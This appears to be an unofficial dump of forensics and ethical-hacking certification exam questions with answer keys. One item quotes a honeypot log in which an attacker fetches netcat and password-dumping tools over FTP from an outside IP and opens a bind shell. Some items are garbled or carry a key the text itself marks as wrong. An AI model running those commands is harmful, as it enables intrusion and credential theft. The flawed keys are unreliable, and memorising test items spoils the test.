59.You are working as an investigator for a corporation and you have just received instructions from your manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job is to complete the required evidence custody forms to properly document each piece of evidence as it is collected by other members of your team. Your manager instructs you to complete one multi-evidence form for the entire case and a single-evidence form for each hard drive. How will these forms be stored to help preserve the chain of custody of the case? A. All forms should be placed in an approved secure container because they are now primary evidence in the case. B. The multi-evidence form should be placed in the report file and the single-evidence forms should be kept with each hard drive in an approved secure container. C. The multi-evidence form should be placed in an approved secure container with the hard drives and the single-evidence forms should be placed in the report file. D. All forms should be placed in the report file because they are now primary evidence in the case.
Answer: B
63.What type of attack occurs when an attacker can force a router to stop forwarding packets by flooding the router with many open connections simultaneously so that all the hosts behind the router are effectively disabled? A. digital attack B. denial of service C. physical attack D. ARP redirect
Answer: B
64.Jonathan is a network administrator who is currently testing the internal security of his network. He is attempting to hijack a session, using Ettercap, of a user connected to his Web server. Why will Jonathan not succeed? A. Only an HTTPS session can be hijacked B. HTTP protocol does not maintain session C. Only FTP traffic can be hijacked D. Only DNS traffic can be hijacked
Answer: B
71.Profiling is a forensics technique for analyzing evidence with the goal of identifying the perpetrator from their various activity. After a computer has been compromised by a hacker, which of the following would be most important in forming a profile of the incident? A. The manufacturer of the system compromised B. The logic, formatting and elegance of the code used in the attack C. The nature of the attack D. The vulnerability exploited in the incident
Answer: B
72.____________________ is simply the application of Computer Investigation and analysis techniques in the interests of determining potential legal evidence. A. Network Forensics B. Computer Forensics C. Incident Response D. Event Reaction
Answer: B
76.When reviewing web logs, you see an entry for resource not found in the HTTP status code filed. What is the actual error code that you would see in the log for resource not found? A. 202 B. 404 C. 505 D. 909
Answer: B
85.Your company uses Cisco routers exclusively throughout the network. After securing the routers to the best of your knowledge, an outside security firm is brought in to assess the network security. Although they found very few issues, they were able to enumerate the model, OS version, and capabilities for all your Cisco routers with very little effort. Which feature will you disable to eliminate the ability to enumerate this information on your Cisco routers? A. Border Gateway Protocol B. Cisco Discovery Protocol C. Broadcast System Protocol D. Simple Network Management Protocol
Answer: B
86.What header field in the TCP/IP protocol stack involves the hacker exploit known as the Ping of Death? A. ICMP header field B. TCP header field C. IP header field D. UDP header field
Answer: B
87.What operating system would respond to the following command? A. Windows 95 B. FreeBSD C. Windows XP D. Mac OS X
Answer: B
89.In a FAT32 system, a 123 KB file will use how many sectors? A. 34 B. 25 C. 11 D. 56
Answer: B
94.In conducting a computer abuse investigation you become aware that the suspect of the investigation is using ABC Company as his Internet Service Provider (ISP). You contact ISP and request that they provide you assistance with your investigation. What assistance can the ISP provide? A. The ISP can investigate anyone using their service and can provide you with assistance B. The ISP can investigate computer abuse committed by their employees, but must preserve the privacy of their customers and therefore cannot assist you without a warrant C. The ISP can't conduct any type of investigations on anyone and therefore can't assist you D. ISP's never maintain log files so they would be of no use to your investigation
Answer: B
97.Larry is an IT consultant who works for corporations and government agencies. Larry plans on shutting down the city's network using BGP devices and zombies? What type of Penetration Testing is Larry planning to carry out? A. Router Penetration Testing B. DoS Penetration Testing C. Firewall Penetration Testing D. Internal Penetration Testing
Answer: B
95.Diskcopy is: A. a utility by AccessData B. a standard MS-DOS command C. Digital Intelligence utility D. dd copying tool
Answer: B Explanation: diskcopy is a STANDARD DOS utility. C:\WINDOWS>diskcopy /? Copies the contents of one floppy disk to another.
100.You are called by an author who is writing a book and he wants to know how long the copyright for his book will last after he has the book published? A. 70 years B. the life of the author C. the life of the author plus 70 years D. copyrights last forever
Answer: C
104.This is original file structure database that Microsoft originally designed for floppy disks. It is written to the outermost track of a disk and contains information about each file stored on the drive. A. Master Boot Record (MBR) B. Master File Table (MFT) C. File Allocation Table (FAT) D. Disk Operating System (DOS)
Answer: C
105.A packet is sent to a router that does not have the packet destination address in its route table. How will the packet get to its proper destination? A. Root Internet servers B. Border Gateway Protocol C. Gateway of last resort D. Reverse DNS
Answer: C
109.George is a senior security analyst working for a state agency in Florida. His state's congress just passed a bill mandating every state agency to undergo a security audit annually. After learning what will be required, George needs to implement an IDS as soon as possible before the first audit occurs. The state bill requires that an IDS with a "time-based induction machine" be used. What IDS feature must George implement to meet this requirement? A. Signature-based anomaly detection B. Pattern matching C. Real-time anomaly detection D. Statistical-based anomaly detection
Answer: C
113.Volatile Memory is one of the leading problems for forensics. Worms such as code Red are memory resident and do write themselves to the hard drive, if you turn the system off they disappear. In a lab environment, which of the following options would you suggest as the most appropriate to overcome the problem of capturing volatile memory? A. Use VMware to be able to capture the data in memory and examine it B. Give the Operating System a minimal amount of memory, forcing it to use a swap file C. Create a Separate partition of several hundred megabytes and place the swap file there D. Use intrusion forensic techniques to study memory resident infections
Answer: C
128.You are working as a Computer forensics investigator for a corporation on a computer abuse case. You discover evidence that shows the subject of your investigation is also embezzling money from the company. The company CEO and the corporate legal counsel advise you to contact law enforcement and provide them with the evidence that you have found. The law enforcement officer that responds requests that you put a network sniffer on your network and monitor all traffic to the subject's computer. You inform the officer that you will not be able to comply with that request because doing so would: A. Violate your contract B. Cause network congestion C. Make you an agent of law enforcement D. Write information to the subject's hard drive
Answer: C
130.A state department site was recently attacked and all the servers had their disks erased. The incident response team sealed the area and commenced investigation. During evidence collection they came across a zip disks that did not have the standard labeling on it. The incident team ran the disk on an isolated system and found that the system disk was accidentally erased. They decided to call in the FBIfor further investigation. Meanwhile, they short listed possible suspects including three summer interns. Where did the incident team go wrong? A. They examined the actual evidence on an unrelated system B. They attempted to implicate personnel without proof C. They tampered with evidence by using it D. They called in the FBI without correlating with the fingerprint data
Answer: C
132.Microsoft Outlook maintains email messages in a proprietary format in what type of file? A. .email B. .mail C. .pst D. .doc
Answer: C
134.What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer? A. rootkit B. key escrow C. steganography D. Offset
Answer: C
14.You are working as Computer Forensics investigator and are called by the owner of an accounting firm to investigate possible computer abuse by one of the firm's employees. You meet with the owner of the firm and discover that the company has never published a policy stating that they reserve the right to inspect their computing assets at will. What do you do? A. Inform the owner that conducting an investigation without a policy is not a problem because the company is privately owned B. Inform the owner that conducting an investigation without a policy is a violation of the 4th amendment C. Inform the owner that conducting an investigation without a policy is a violation of the employee's expectation of privacy D. Inform the owner that conducting an investigation without a policy is not a problem because a policy is only necessary for government agencies
Answer: C
143.What does the superblock in Linux define? A. filesynames B. diskgeometr C. location of the firstinode D. available space
Answer: C
154.This organization maintains a database of hash signatures for known software. A. International Standards Organization B. Institute of Electrical and Electronics Engineers C. National Software Reference Library D. American National standards Institute
Answer: C
165.If you plan to startup a suspect's computer, you must modify the ___________ to ensure that you do not contaminate or alter data on the suspect's hard drive by booting to the hard drive. A. deltree command B. CMOS C. Boot.sys D. Scandisk utility
Answer: C
167.A law enforcement officer may only search for and seize criminal evidence with _______________________, which are facts or circumstances that would lead a reasonable person to believe a crime has been committed or is about to be committed, evidence of the specific crime exists and the evidence of the specific crime exists at the place to be searched. A. Mere Suspicion B. A preponderance of the evidence C. Probable cause D. Beyond a reasonable doubt
Answer: C
168.You are the security analyst working for a private company out of France. Your current assignment is to obtain credit card information from a Swiss bank owned by that company. After initial reconnaissance, you discover that the bank security defenses are very strong and would take too long to penetrate. You decide to get the information by monitoring the traffic between the bank and one of its subsidiaries in London. After monitoring some of the traffic, you see a lot of FTP packets traveling back and forth. You want to sniff the traffic and extract usernames and passwords. What tool could you use to get this information? A. Airsnort B. Snort C. Ettercap D. RaidSniff
Answer: C
169.When investigating a network that uses DHCP to assign IP addresses, where would you look to determine which system (MAC address) had a specific IP address at a specific time? A. on the individual computer's ARP cache B. in the Web Server log files C. in the DHCP Server log files D. there is no way to determine the specific IP address
Answer: C
172.Simon is a former employee of Trinitron XML Inc. He feels he was wrongly terminated and wants to hack into his former company's network. Since Simon remembers some of the server names, he attempts to run the axfr and ixfr commands using DIG. What is Simon trying to accomplish here? A. Send DOS commands to crash the DNS servers B. Perform DNS poisoning C. Perform a zone transfer D. Enumerate all the users in the domain
Answer: C
176.Office documents (Word, Excel, PowerPoint) contain a code that allows tracking the MAC, or unique identifier, of the machine that created the document. What is that code called? A. the Microsoft Virtual Machine Identifier B. the Personal Application Protocol C. the Globally Unique ID D. the Individual ASCII String
Answer: C
177.You have used a newly released forensic investigation tool, which doesn't meet the Daubert Test, during a case. The case has ended-up in court. What argument could the defense make to weaken your case? A. The tool hasn't been tested by the International Standards Organization (ISO) B. Only the local law enforcement should use the tool C. The total has not been reviewed and accepted by your peers D. You are not certified for using the tool
Answer: C
18.To preserve digital evidence, an investigator should ____________________. A. Make two copies of each evidence item using a single imaging tool B. Make a single copy of each evidence item using an approved imaging tool C. Make two copies of each evidence item using different imaging tools D. Only store the original evidence item
Answer: C
180.Melanie was newly assigned to an investigation and asked to make a copy of all the evidence from the compromised system. Melanie did a DOS copy of all the files on the system. What would be the primary reason for you to recommend a disk imaging tool? A. A disk imaging tool would check for CRC32s for internal self-checking and validation and have MD5 checksum B. Evidence file format will contain case data entered by the examiner and encrypted at the beginning of the evidence file C. A simple DOS copy will not include deleted files, file slack and other information D. There is no case for an imaging tool as it will use a closed, proprietary format that if compared to the original will not match up sector for sector
Answer: C
186.You are a security analyst performing reconnaissance on a company you will be carrying out a penetration test for. You conduct a search for IT jobs on Dice.com and find the following information for an open position: 7+ years experience in Windows Server environment 5+ years experience in Exchange 2000/2003 environment Experience with Cisco Pix Firewall, Linksys 1376 router, Oracle 11i and MYOB v3.4 Accounting software are required MCSA desired, MCSE, CEH preferred No Unix/Linux Experience needed What is this information posted on the job website considered? A. Social engineering exploit B. Competitive exploit C. Information vulnerability D. Trade secret
Answer: C
187.When investigating a Windows System, it is important to view the contents of the page or swap file because: A. Windows stores all of the systems configuration information in this file B. This is file that windows use to communicate directly with Registry C. A Large volume of data can exist within the swap file of which the computer user has no knowledge D. This is the file that windows use to store the history of the last 100 commands that were run from the command line
Answer: C
191.Which of the following are small pieces of data sent from a website and stored on the user's computer by the user's web browser to track, validate, and maintain specific user information? A. Temporary Files B. Open files C. Cookies D. Web Browser Cache
Answer: C
193.What stage of the incident handling process involves reporting events? A. Containment B. Follow-up C. Identification D. Recovery
Answer: C
194.When investigating a computer forensics case where Microsoft Exchange and Blackberry Enterprise server are used, where would investigator need to search to find email sent from a Blackberry device? A. RIM Messaging center B. Blackberry Enterprise server C. Microsoft Exchange server D. Blackberry desktop redirector
Answer: C
20.During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as: A. Inculpatory evidence B. Mandatory evidence C. Exculpatory evidence D. Terrible evidence
Answer: C
28.You work as an IT security auditor hired by a law firm in Boston to test whether you can gain access to sensitive information about the company clients. You have rummaged through their trash and found very little information. You do not want to set off any alarms on their network, so you plan on performing passive foot printing against their Web servers. What tool should you use? A. Ping sweep B. Nmap C. Netcraft D. Dig
Answer: C
30.While working for a prosecutor, what do you think you should do if the evidence you found appears to be exculpatory and is not being released to the defense? A. Keep the information of file for later review B. Destroy the evidence C. Bring the information to the attention of the prosecutor, his or her supervisor or finally to the judge D. Present the evidence to the defense attorney
Answer: C
32.Why are Linux/Unix based computers better to use than Windows computers for idle scanning? A. Linux/Unix computers are easier to compromise B. Linux/Unix computers are constantly talking C. Windows computers are constantly talking D. Windows computers will not respond to idle scans
Answer: C
39.You have been asked to investigate after a user has reported a threatening e-mail they have received from an external source. Which of the following are you most interested in when trying to trace the source of the message? A. The X509 Address B. The SMTP reply Address C. The E-mail Header D. The Host Domain Name
Answer: C
47.Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate. He knows he needs to allow FTP traffic to one of the servers on his network, but he wants to only allow FTP-PUT. Which firewall would be most appropriate for Harold? needs? A. Circuit-level proxy firewall B. Packet filtering firewall C. Application-level proxy firewall D. Data link layer firewall
Answer: C
51.As a security analyst, you setup a false survey website that will require users to create a username and a strong password. You send the link to all the employees of the company. What information will you be able to gather? A. The IP address of the employees' computers B. Bank account numbers and the corresponding routing numbers C. The employees network usernames and passwords D. The MAC address of the employees' computers
Answer: C
6.Which of the following is NOT a graphics file? A. Picture1.tga B. Picture2.bmp C. Picture3.nfo D. Picture4.psd
Answer: C
61.It takes _____________ mismanaged case/s to ruin your professional reputation as a computer forensics examiner? A. by law, three B. quite a few C. only one D. at least two
Answer: C
70.Printing under a Windows Computer normally requires which one of the following files types to be created? A. EME B. MEM C. EMF D. CME
Answer: C
74.You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab. How many law-enforcement computer investigators should you request to staff the lab? A. 8 B. 1 C. 4 D. 2
Answer: C
75.Frank is working on a vulnerability assessment for a company on the West coast. The company hired Frank to assess its network security through scanning, pen tests, and vulnerability assessments. After discovering numerous known vulnerabilities detected by a temporary IDS he set up, he notices a number of items that show up as unknown but Questionable in the logs. He looks up the behavior on the Internet, but cannot find anything related. What organization should Frank submit the log to find out if it is a new vulnerability or not? A. APIPA B. IANA C. CVE D. RIPE
Answer: C
80.To make sure the evidence you recover and analyze with computer forensics software can be admitted in court, you must test and validate the software. What group is actively providing tools and creating procedures for testing and validating computer forensics software? A. Computer Forensics Tools and Validation Committee (CFTVC) B. Association of Computer Forensics Software Manufactures (ACFSM) C. National Institute of Standards and Technology (NIST) D. Society for Valid Forensics Tools and Testing (SVFTT)
Answer: C
81.Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM files on a computer. Where should Harold navigate on the computer to find the file? A. %systemroot%\system32\LSA B. %systemroot%\system32\drivers\etc C. %systemroot%\repair D. %systemroot%\LSA
Answer: C
83.In the context of file deletion process, which of the following statement holds true? A. When files are deleted, the data is overwritten and the cluster marked as available B. The longer a disk is in use, the less likely it is that deleted files will be overwritten C. While booting, the machine may create temporary files that can delete evidence D. Secure delete programs work by completely overwriting the file in one go
Answer: C
88. From the following spam mail header, identify the host IP that sent this spam? From [email protected] [email protected] Tue Nov 27 17:27:11 2001 Received: from viruswall.ie.cuhk.edu.hk (viruswall [137.189.96.52]) by eng.ie.cuhk.edu.hk (8.11.6/8.11.6) with ESMTP id fAR9RAP23061 for ; Tue, 27 Nov 2001 17:27:10 +0800 (HKT) Received: from mydomain.com (pcd249020.netvigator.com [203.218.39.20]) by viruswall.ie.cuhk.edu.hk (8.12.1/8.12.1) with SMTP id fAR9QXwZ018431 for ; Tue, 27 Nov 2001 17:26:36 +0800 (HKT) Message-Id: >[email protected] From: "china hotel web" To: "Shlam" Subject: SHANGHAI (HILTON HOTEL) PACKAGE Date: Tue, 27 Nov 2001 17:25:58 +0800 MIME-Version: 1.0 X-Priority: 3 X-MSMail- Priority: Normal Reply-To: "china hotel web" A. 137.189.96.52 B. 8.12.1.0 C. 203.218.39.20 D. 203.218.39.50
Answer: C
92.In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for dealing with evidence in a civil case? A. evidence must be handled in the same way regardless of the type of case B. evidence procedures are not important unless you work for a law enforcement agency C. evidence in a criminal case must be secured more tightly than in a civil case D. evidence in a civil case must be secured more tightly than in a criminal case
Answer: C
152.The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given? A. It is a local exploit where the attacker logs in using username johna2k B. There are two attackers on the system - johna2k and haxedj00 C. The attack is a remote exploit and the hacker downloads three files D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
Answer: C Explanation: The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.
10.Hackers can gain access to Windows Registry and manipulate user passwords, DNS settings, access rights or others features that they may need in order to accomplish their objectives. One simple method for loading an application at startup is to add an entry (Key) to the following Registry Hive: A. HKEY_LOCAL_MACHINE\hardware\windows\start B. HKEY_LOCAL_USERS\Software\Microsoft\old\Version\Load C. HKEY_CURRENT_USER\Microsoft\Default D. HKEY_LOCAL_MACHINE\Software\Microsoft\CurrentVersion\Run
Answer: D
102.The ____________________ refers to handing over the results of private investigations to the authorities because of indications of criminal activity. A. Locard Exchange Principle B. Clark Standard C. Kelly Policy D. Silver-Platter Doctrine
Answer: D
11.What method of computer forensics will allow you to trace all ever-established user accounts on aWindows 2000 sever the course of its lifetime? A. forensic duplication of hard drive B. analysis of volatile data C. comparison of MD5 checksums D. review of SIDs in the Registry
Answer: D
114.Which legal document allows law enforcement to search an office, place of business, or other locale for evidence relating to an alleged crime? A. bench warrant B. wire tap C. subpoena D. search warrant
Answer: D
116.When examining a file with a Hex Editor, what space does the file header occupy? A. the last several bytes of the file B. the first several bytes of the file C. none, file headers are contained in the FAT D. one byte at the beginning of the file
Answer: D
120.On Linux/Unix based Web servers, what privilege should the daemon service be run under? A. Guest B. Root C. You cannot determine what privilege runs the daemon service D. Something other than root
Answer: D
121.Jessica works as systems administrator for a large electronics firm. She wants to scan her network quickly to detect live hosts by using ICMP ECHO Requests. What type of scan is Jessica going to perform? A. Tracert B. Smurf scan C. Ping trace D. ICMP ping sweep
Answer: D
126.Lance wants to place a honeypot on his network. Which of the following would be your recommendations? A. Use a system that has a dynamic addressing on the network B. Use a system that is not directly interacting with the router C. Use it on a system in an external DMZ in front of the firewall D. It doesn't matter as all replies are faked
Answer: D
131.The efforts to obtain information before a trail by demanding documents, depositions, questioned and answers written under oath, written requests for admissions of fact and examination of the scene is a description of what legal term? A. Detection B. Hearsay C. Spoliation D. Discovery
Answer: D
136.In General, __________________ Involves the investigation of data that can be retrieved from the hard disk or other disks of a computer by applying scientific methods to retrieve the data. A. Network Forensics B. Data Recovery C. Disaster Recovery D. Computer Forensics
Answer: D
145.Software firewalls work at which layer of the OSI model? A. Application B. Network C. Transport D. Data Link
Answer: D
146.What is the name of the Standard Linux Command that is also available as windows application that can be used to create bit-stream images? A. mcopy B. image C. MD5 D. dd
Answer: D
148.When a file is deleted by Windows Explorer or through the MS-DOS delete command, the operating system inserts _______________ in the first letter position of the filename in the FAT database. A. A Capital X B. A Blank Space C. The Underscore Symbol D. The lowercase Greek Letter Sigma (s)
Answer: D
151.An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video discs (DVDs) by using a large magnet. You inform him that this method will not be effective in wiping out the data because CDs and DVDs are ______________ media used to store large amounts of data and are not affected by the magnet. A. logical B. anti-magnetic C. magnetic D. optical
Answer: D
158.With Regard to using an Antivirus scanner during a computer forensics investigation, You should: A. Scan the suspect hard drive before beginning an investigation B. Never run a scan on your forensics workstation because it could change your systems configuration C. Scan your forensics workstation at intervals of no more than once every five minutes during an investigation D. Scan your Forensics workstation before beginning an investigation
Answer: D
175.If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude? A. The system files have been copied by a remote attacker B. The system administrator has created an incremental backup C. The system has been compromised using a t0rnrootkit D. Nothing in particular as these can be operational files
Answer: D
184.When setting up a wireless network with multiple access points, why is it important to set each access point on a different channel? A. Multiple access points can be set up on the same channel without any issues B. Avoid over-saturation of wireless signals C. So that the access points will work on different frequencies D. Avoid cross talk
Answer: D
195.Billy, a computer forensics expert, has recovered a large number of DBX files during the forensic investigation of a laptop. Which of the following email clients can he use to analyze the DBX files? A. Microsoft Outlook B. Eudora C. Mozilla Thunderbird D. Microsoft Outlook Express
Answer: D
197.A master boot record (MBR) is the first sector ("sector zero") of a data storage device. What is the size of MBR? A. Depends on the capacity of the storage device B. 1048 Bytes C. 4092 Bytes D. 512 Bytes
Answer: D
24.George is the network administrator of a large Internet company on the west coast. Per corporate policy, none of the employees in the company are allowed to use FTP or SFTP programs without obtaining approval from the IT department. Few managers are using SFTP program on their computers. Before talking to his boss, George wants to have some proof of their activity. George wants to use Ethereal to monitor network traffic, but only SFTP traffic to and from his network. What filter should George use in Ethereal? A. src port 23 and dst port 23 B. udp port 22 and host 172.16.28.1/24 C. net port 22 D. src port 22 and dst port 22
Answer: D
25.You have compromised a lower-level administrator account on an Active Directory network of a small company in Dallas, Texas. You discover Domain Controllers through enumeration. You connect to one of the Domain Controllers on port 389 using ldp.exe. What are you trying to accomplish here? A. Poison the DNS records with false records B. Enumerate MX and A records from DNS C. Establish a remote connection to the Domain Controller D. Enumerate domain user accounts and built-in groups
Answer: D
36.If an attacker's computer sends an IPID of 31400 to a zombie computer on an open port in IDLE scanning, what will be the response? A. The zombie will not send a response B. 31402 C. 31399 D. 31401
Answer: D
46.The MD5 program is used to: A. wipe magnetic media before recycling it B. make directories on an evidence disk C. view graphics files on an evidence drive D. verify that a disk is not altered when you examine it
Answer: D
48.Kimberly is studying to be an IT security analyst at a vocational school in her town. The school offers many different programming as well as networking languages. What networking protocol language should she learn that routers utilize? A. ATM B. UDP C. BPG D. OSPF
Answer: D
54.You are a computer forensics investigator working with local police department and you are called to assist in an investigation of threatening emails. The complainant has printer out 27 email messages from the suspect and gives the printouts to you. You inform her that you will need to examine her computer because you need access to the _________________________ in order to track the emails back to the suspect. A. Routing Table B. Firewall log C. Configuration files D. Email Header
Answer: D
55.When using Windows acquisitions tools to acquire digital evidence, it is important to use a well-tested hardware write-blocking device to: A. Automate Collection from image files B. Avoiding copying data from the boot partition C. Acquire data from host-protected area on a disk D. Prevent Contamination to the evidence drive
Answer: D
58.You are assisting a Department of Defense contract company to become compliant with the stringent security policies set by the DoD. One such strict rule is that firewalls must only allow incoming connections that were first initiated by internal computers. What type of firewall must you implement to abide by this policy? A. Packet filtering firewall B. Circuit-level proxy firewall C. Application-level proxy firewall D. Stateful firewall
Answer: D
60.Which response organization tracks hoaxes as well as viruses? A. NIPC B. FEDCIRC C. CERT D. CIAC
Answer: D
62.In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze? A. one who has NTFS 4 or 5 partitions B. one who uses dynamic swap file capability C. one who uses hard disk writes on IRQ 13 and 21 D. one who has lots of allocation units per block or cluster
Answer: D
66.You are running through a series of tests on your network to check for any security vulnerabilities. After normal working hours, you initiate a DoS attack against your external firewall. The firewall Quickly freezes up and becomes unusable. You then initiate an FTP connection from an external IP into your internal network. The connection is successful even though you have FTP blocked at the external firewall. What has happened? A. The firewall failed-bypass B. The firewall failed-closed C. The firewall ACL has been purged D. The firewall failed-open
Answer: D
73.John is using Firewalk to test the security of his Cisco PIX firewall. He is also utilizing a sniffer located on a subnet that resides deep inside his network. After analyzing the sniffer log files, he does not see any of the traffic produced by Firewalk. Why is that? A. Firewalk cannot pass through Cisco firewalls B. Firewalk sets all packets with a TTL of zero C. Firewalk cannot be detected by network sniffers D. Firewalk sets all packets with a TTL of one
Answer: D
77.Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file? A. Sector B. Metadata C. MFT D. Slack Space
Answer: D
78.After passing her CEH exam, Carol wants to ensure that her network is completely secure. She implements a DMZ, stateful firewall, NAT, IPSEC, and a packet filtering firewall. Since all security measures were taken, none of the hosts on her network can reach the Internet. Why is that? A. Stateful firewalls do not work with packet filtering firewalls B. NAT does not work with stateful firewalls C. IPSEC does not work with packet filtering firewalls D. NAT does not work with IPSEC
Answer: D
79.You just passed your ECSA exam and are about to start your first consulting job running security audits for a financial institution in Los Angeles. The IT manager of the company you will be working for tries to see if you remember your ECSA class. He asks about the methodology you will be using to test the company's network. How would you answer? A. Microsoft Methodology B. Google Methodology C. IBM Methodology D. LPT Methodology
Answer: D
8.The use of warning banners helps a company avoid litigation by overcoming an employee assumed __________________________. When connecting to the company's intranet, network or Virtual Private Network (VPN) and will allow the company's investigators to monitor, search and retrieve information stored within the network. A. Right to work B. Right of free speech C. Right to Internet Access D. Right of Privacy
Answer: D
93.After passively scanning the network of Department of Defense (DoD), you switch over to active scanning to identify live hosts on their network. DoD is a large organization and should respond to any number of scans. You start an ICMP ping sweep by sending an IP packet to the broadcast address. Only five hosts respond to your ICMP pings; definitely not the number of hosts you were expecting. Why did this ping sweep only produce a few responses? A. Only IBM AS/400 will reply to this scan B. Only Windows systems will reply to this scan C. A switched network will not respond to packets sent to the broadcast address D. Only Unix and Unix-like systems will reply to this scan
Answer: D
49.Julia is a senior security analyst for Berber Consulting group. She is currently working on a contract for a small accounting firm in Florid a. They have given her permission to perform social engineering attacks on the company to see if their in-house training did any good. Julia calls the main number for the accounting firm and talks to the receptionist. Julia says that she is an IT technician from the company's main office in Iowa. She states that she needs the receptionist's network username and password to troubleshoot a problem they are having. Julia says that Bill Hammond, the CEO of the company, requested this information. After hearing the name of the CEO, the receptionist gave Julia all the information she asked for. What principal of social engineering did Julia use? A. Social Validation B. Scarcity C. Friendship/Liking D. Reciprocation
Answer: D *its actually Authority There are six principles of social engineering: 1. Reciprocity: People tend to return a favor (does not apply) 2. Commitment/Consistency: People tend to follow through on a prior commitment even if an incentive or reward is removed. (does not apply) 3. Social Validation: People will often do things they see other people doing (does not apply) 4. Authority: People tend to obey authority figures, even when asked to do something questionable (BINGO!) 5. Liking: People are more easily persuaded by someone they like. (does not apply) 6. Scarcity: People are more likely to agree to something if there is perceived scarcity, such as a "limited time" offer. (does not apply)
199.What is the CIDR from the following screenshot? A. /24A./24A./24 B. /32 B./32 B./32 C. /16 C./16 C./16 D. /8D./8D./8 Answer: D
Answer: D CIDR (Classless Inter-Domain Routing, a.k.a. supernetting) /8 -> 255.0.0.0 /16 -> 255.255.0.0 /24 -> 255.255.255.0
1.What does mactime, an essential part of the coroner's toolkit do? A. It traverses the file system and produces a listing of all files based on the modification, access and change timestamps B. It can recover deleted file space and search it for data. However, it does not allow the investigator to preview them C. The tools scans for i-node information, which is used by other tools in the tool kit D. It is too specific to the MAC OS and forms a core component of the toolkit
Answer:A
189.Which password cracking technique uses every possible combination of character sets? A. Rainbow table attack B. Brute force attack C. Rule-based attack D. Dictionary attack
B
65.How many sectors will a 125 KB file use in a FAT32 file system? A. 32 B. 16 C. 250 D. 25
C
